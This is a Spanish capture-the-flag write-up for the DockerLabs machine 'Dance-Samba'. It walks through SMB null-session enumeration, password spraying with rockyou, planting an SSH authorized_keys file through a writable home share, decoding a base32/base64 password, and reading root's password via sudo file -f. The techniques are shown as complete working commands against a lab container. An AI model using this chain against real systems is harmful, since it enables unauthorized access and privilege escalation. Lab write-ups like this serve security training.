the_open_door
café
ESEN

Dance-Samba

DockerLabsFácilLinux172.17.0.2

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#dockerlabs#smb#crackmapexec#password-spraying#smbmap#authorized-keys#ssh#base32#base64#sudo#file#gtfobins
TL;DR. Dance-Samba repite el patrón de Samba: sesión nula para enumerar, password spraying para dar con macarena:donald, y un recurso escribible que resulta ser el home del usuario. Aquí no hay web donde subir una shell, así que se aprovecha la escritura para plantar un authorized_keys y entrar por SSH con clave propia. Dentro, un fichero hash resulta ser texto codificado (base32 → base64 → supersecurepassword), que no abre root pero sí es la contraseña sudo de macarena. Su privilegio sudo file (GTFOBins) lee ficheros como root y filtra root:rooteable2, con lo que su root cierra la caja.

Reconocimiento

Escaneo inicial

Un escaneo de puertos completo descubre FTP, SSH y Samba:

El escaneo se lanza con jmap, una función del .zshrc que pide la IP por teclado y ejecuta el sudo nmap -sS -n -Pn -p- --min-rate 5000 --open de siempre, guardando la salida en un fichero scan en formato grepeable:

jmap
# 172.17.0.2

jmap escanea los 65535 puertos de 172.17.0.2 y encuentra 21, 22, 139 y 445, todos con ttl 64 y la MAC 02:42:AC:11:00:02

Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE       REASON
21/tcp  open  ftp           syn-ack ttl 64
22/tcp  open  ssh           syn-ack ttl 64
139/tcp open  netbios-ssn   syn-ack ttl 64
445/tcp open  microsoft-ds  syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Los 65531 puertos salen cerrados con RST, no filtrados: no hay cortafuegos y el escaneo termina en un segundo. El TTL llega a 64 sin decrementar y en la salida aparece una dirección MAC, que juntos dicen lo mismo: no hay ni un salto de routing por el medio. Es una máquina de DockerLabs en la red puente local (172.17.0.0/16, MAC con el prefijo 02:42:AC que asigna Docker).

extractPorts resume ese fichero y deja los cuatro puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo: IP 172.17.0.2 y puertos abiertos 21,22,139,445, copiados al portapapeles

Extracting information ...
IP Address: 172.17.0.2
Open ports: 21,22,139,445

Ports copied to clipboard

Y jmap2, la función hermana, lanza el nmap -sCV sobre esa lista:

jmap2 172.17.0.2 21,22,139,445

jmap2 identifica vsftpd 3.0.5 con login anónimo y nota.txt, OpenSSH 9.6p1 y Samba smbd 4.6.2 en 139 y 445

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              69 Aug 19 18:03 nota.txt
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Tres cosas quedan anotadas antes de tocar nada. El FTP acepta login anónimo y comparte un nota.txt de 69 bytes. El Samba smbd 4.6.2 es lo que da nombre a la caja. Y el Message signing enabled but not required descarta de entrada la familia de ataques que dependen de la firma SMB, que aquí no van a hacer falta.

Enumeración SMB

Una sesión anónima lista los recursos sin credenciales:

crackmapexec smb 172.17.0.2 -u '' -p '' --shares

crackmapexec con sesión nula enumera los recursos print$, macarena e IPC$

SMB  172.17.0.2  445  C2B5870E4B51  [*] Windows 6.1 Build 0 (name:C2B5870E4B51) (domain:C2B5870E4B51) (signing:False) (SMBv1:False)
SMB  172.17.0.2  445  C2B5870E4B51  [+] C2B5870E4B51\:
SMB  172.17.0.2  445  C2B5870E4B51  [+] Enumerated shares
SMB  172.17.0.2  445  C2B5870E4B51  Share      Permissions   Remark
SMB  172.17.0.2  445  C2B5870E4B51  print$                   Printer Drivers
SMB  172.17.0.2  445  C2B5870E4B51  macarena
SMB  172.17.0.2  445  C2B5870E4B51  IPC$                     IPC Service (c2b5870e4b51 server (Samba, Ubuntu))

Ese Windows 6.1 Build 0 no es Windows: es lo que un Samba anuncia por compatibilidad, y el Remark del IPC$ lo desmiente en la misma pantalla (server (Samba, Ubuntu)). La columna Permissions sale vacía para macarena, así que con sesión nula el recurso se ve pero no se entra.

El mismo binario saca los usuarios, y su salida enseña algo que conviene entender:

crackmapexec smb 172.17.0.2 -u '' -p '' --users 2>/dev/null

crackmapexec falla por LDAP, reintenta con SAMRPC y enumera al usuario macarena

SMB  172.17.0.2  445  C2B5870E4B51  [-] Error enumerating domain users using dc ip 172.17.0.2: socket connection error while opening: [Errno 111] Connection refused
SMB  172.17.0.2  445  C2B5870E4B51  [*] Trying with SAMRPC protocol
SMB  172.17.0.2  445  C2B5870E4B51  [+] Enumerated domain user(s)
SMB  172.17.0.2  445  C2B5870E4B51  C2B5870E4B51\macarena

El primer intento falla con Connection refused porque busca un controlador de dominio por LDAP y aquí no lo hay. La herramienta reintenta sola con SAMRPC, que es el canal que un Samba suelto sí atiende, y ahí aparece la única cuenta: macarena. Un [-] en rojo no siempre significa que el paso haya fallado.

Acceso: spraying + inyección de authorized_keys

Password spraying

Con un nombre de usuario y ningún otro dato, se fija la cuenta y se recorre el diccionario:

crackmapexec smb 172.17.0.2 -u 'macarena' -p rockyou.txt 2>/dev/null | grep -v '[-]'

crackmapexec valida la contraseña donald para el usuario macarena

SMB  172.17.0.2  445  C2B5870E4B51  [+] C2B5870E4B51\macarena:donald

El grep -v '[-]' no es cosmético: sin él la pantalla se llena de una línea por cada contraseña fallida y la buena pasa desapercibida. La contraseña es donald.

smbmap confirma qué se puede hacer ya autenticados:

smbmap -H 172.17.0.2 -u "macarena" -p "donald"

smbmap muestra el recurso macarena con permisos READ, WRITE

[+] IP: 172.17.0.2:445  Name: 172.17.0.2                Status: Authenticated
        Disk                                            Permissions     Comment
        ----                                            -----------     -------
        print$                                          READ ONLY       Printer Drivers
        macarena                                        READ, WRITE
        IPC$                                            NO ACCESS       IPC Service (c2b5870e4b51 server (Samba, Ubuntu))

READ, WRITE sobre macarena es lo que abre la siguiente vía.

El recurso es el home del usuario

Antes de escribir nada conviene mirar qué hay dentro, porque el contenido dice a dónde apunta el recurso:

smbclient //172.17.0.2/macarena -U 'macarena'
smb: \> dir
smb: \> prompt
smb: \> mget *

smbclient lista .bashrc, .profile y user.txt, y se lo descarga todo con mget

  .bash_history                       H        5  Mon Aug 19 19:26:02 2024
  .profile                            H      807  Mon Aug 19 18:18:51 2024
  .bashrc                             H     3771  Mon Aug 19 18:18:51 2024
  user.txt                            N       33  Mon Aug 19 18:20:25 2024
  .cache                             DH        0  Mon Aug 19 18:40:39 2024
  .bash_logout                        H      220  Mon Aug 19 18:18:51 2024

                101639152 blocks of size 1024. 64143580 blocks available

.bashrc, .profile, .bash_logout y una .cache: el recurso no es una carpeta compartida cualquiera, es el directorio personal de macarena montado tal cual. Ahí está también user.txt, la primera flag, que se baja sin haber ejecutado todavía ni un comando en la máquina. El prompt desactiva la confirmación fichero a fichero y mget * se lo lleva todo de una pasada.

Ese detalle es el que decide el vector: si el recurso es el home y tenemos escritura, podemos dejar dentro un .ssh/authorized_keys propio.

Del recurso escribible a SSH

Generamos un par de claves y preparamos la pública con el nombre y los permisos que espera OpenSSH:

ssh-keygen -t rsa -b 2048 -f id_rsa

ssh-keygen genera el par id_rsa / id_rsa.pub sin passphrase

cat id_rsa.pub > authorized_keys
chmod 600 authorized_keys
ls -l

authorized_keys creado a partir de id_rsa.pub y con permisos 600

-rw-------  1 root root  391 Jan 15 14:15 authorized_keys
-rw-------  1 root root 1811 Jan 15 14:14 id_rsa
-rw-r--r--  1 root root  391 Jan 15 14:14 id_rsa.pub

El chmod 600 importa: OpenSSH ignora un authorized_keys con permisos abiertos y el acceso fallaría sin decir por qué. Ahora se sube, creando el .ssh que no existía:

smbclient //172.17.0.2/macarena -U 'macarena'
smb: \> mkdir .ssh
smb: \> cd .ssh
smb: \.ssh\> put authorized_keys

smbclient crea el directorio .ssh y sube dentro el authorized_keys

putting file authorized_keys as \.ssh\authorized_keys (190.9 kb/s) (average 190.9 kb/s)
ssh -i id_rsa macarena@172.17.0.2

Login SSH correcto como macarena en Ubuntu 24.04 usando la clave privada

Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.10.11-amd64 x86_64)
...
Last login: Wed Jan 15 14:17:46 2025 from 172.17.0.1
macarena@c2b5870e4b51:~$

El prompt confirma el acceso como macarena, y el nombre de máquina (c2b5870e4b51) delata que estamos dentro de un contenedor. La contraseña donald no ha hecho falta para el SSH: entra la clave, que es justo la gracia de plantar el authorized_keys.

Escalada de privilegios

Un hash que no era un hash

/home no tiene solo el directorio de macarena. Hay tres, y uno de ellos no es de ningún usuario:

ls /home
cd /home/secret
cat hash
ftp  macarena  secret
MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===

El directorio /home contiene ftp, macarena y secret; dentro de secret hay un fichero llamado hash

De paso queda explicado el ftp del primer escaneo: el servicio anónimo tiene su propio directorio ahí.

El fichero se llama hash, pero no lo es. Solo mayúsculas y dígitos del 2 al 7, y un relleno de tres =: ese es el alfabeto exacto de Base32, que es codificación, no cifrado. Pasado por CyberChef, la opción Magic identifica sola las dos capas encadenadas:

Recipe:  From_Base32('A-Z2-7=', false)  ->  From_Base64('A-Za-z0-9+/=', true, false)
Result:  supersecurepassword

CyberChef con la operación Magic detecta From_Base32 seguido de From_Base64 y devuelve supersecurepassword

Lo mismo en una línea, sin salir de la terminal:

echo "MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===" | base32 -d | base64 -d

La cadena descodificada con base32 -d y base64 -d encadenados devuelve supersecurepassword

supersecurepassword

La contraseña no es de root

El impulso es probarla contra root, y no funciona:

su root

su root con supersecurepassword devuelve Authentication failure

Password:
su: Authentication failure

Un fichero llamado hash dentro de un directorio llamado secret invita a pensar en la cuenta de administrador, pero la credencial es de quien ya somos. Se comprueba pidiéndole a sudo que la valide:

sudo -l

sudo -l acepta la contraseña y confirma que macarena puede ejecutar /usr/bin/file como cualquier usuario

Matching Defaults entries for macarena on c2b5870e4b51:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User macarena may run the following commands on c2b5870e4b51:
    (ALL : ALL) /usr/bin/file

Que sudo -l pida contraseña y la acepte ya es la respuesta: supersecurepassword es la de macarena. Y el env_reset con secure_path cierran la vía de envenenar el PATH o el entorno, así que el abuso tiene que salir del propio binario permitido.

macarena → root (sudo file)

file en GTFOBins tiene una lectura arbitraria: con -f trata su argumento como una lista de nombres de fichero y, al no poder abrirlos como tales, imprime el contenido de cada línea en el mensaje de error. Buscando ficheros con pinta de credenciales aparece /opt/password.txt (propiedad de root):

find / -iregex '.*\(password\|secret\|credential\|private\)\(\.txt\)?' -ls 2>/dev/null
LFILE=/opt/password.txt
sudo file -f $LFILE

find localiza /opt/password.txt y sudo file -f filtra la línea root:rooteable2 en el mensaje de error

root:rooteable2: cannot open `root:rooteable2' (No such file or directory)

La línea filtrada es root:rooteable2, es decir, la contraseña de root es rooteable2. Nótese que el fichero nunca llega a leerse: lo que se imprime es el error de intentar abrir su contenido como si fuera una ruta.

su root
cd
ls
cat root.txt
root.txt  true_root.txt
It's not that easy, first root.

La caja deja un señuelo: root.txt no tiene la flag sino un mensaje, y la buena está al lado.

cat true_root.txt

su root con rooteable2, el señuelo de root.txt y la flag real en true_root.txt

efb6984b9b0eb57451aca3f93c8ce6b7

Cadena de ataque

SMB sesion nula  ->  --shares: recurso macarena;  --users (SAMRPC): usuario macarena
    └─> spraying con rockyou  ->  macarena:donald  ->  smbmap: READ, WRITE
            └─> el recurso es el HOME (.bashrc, .profile, user.txt)
                    └─> mkdir .ssh + put authorized_keys  ->  ssh -i id_rsa  (sin contraseña)
                            └─> /home/secret/hash  ->  base32 | base64  ->  supersecurepassword
                                    ├─ su root  ->  Authentication failure   (callejon sin salida)
                                    └─ sudo -l  ->  (ALL : ALL) /usr/bin/file
                                            └─> sudo file -f /opt/password.txt  ->  root:rooteable2
                                                    └─> su root  ->  true_root.txt

Lecciones aprendidas

  • Un [-] en rojo no cierra la puerta. El --users de crackmapexec falla por LDAP y acto seguido reintenta con SAMRPC, que es el que funciona. Conviene leer la línea siguiente antes de cambiar de herramienta.
  • Mirar el recurso antes de escribir en él. Los .bashrc, .profile y .cache son los que revelan que el recurso ES el home del usuario, y de ahí sale el vector del authorized_keys. Con una carpeta compartida cualquiera, el mismo permiso de escritura no habría servido de nada.
  • Escritura sin web sigue siendo acceso. Sin un /var/www donde soltar una webshell, plantar la clave pública da SSH sin necesitar siquiera la contraseña que acabábamos de romper.
  • === y el alfabeto A-Z2-7 huelen a Base32. Distinguir codificación de cifrado ahorra tiempo: dos -d encadenados devuelven la contraseña sin crackear nada, y el nombre del fichero (hash) era una pista falsa.
  • Una credencial encontrada no es de quien parece. supersecurepassword estaba en /home/secret y no valía para root; era de macarena, y quien lo demuestra es el propio sudo -l al aceptarla.
  • sudo file es una fuga de lectura. Muchos binarios «inofensivos» leen ficheros arbitrarios como root; file -f los vuelca por sus mensajes de error. GTFOBins es la referencia obligada al ver un sudo -l.
Cheatsheet de comandos 20 comandos

Repaso rápido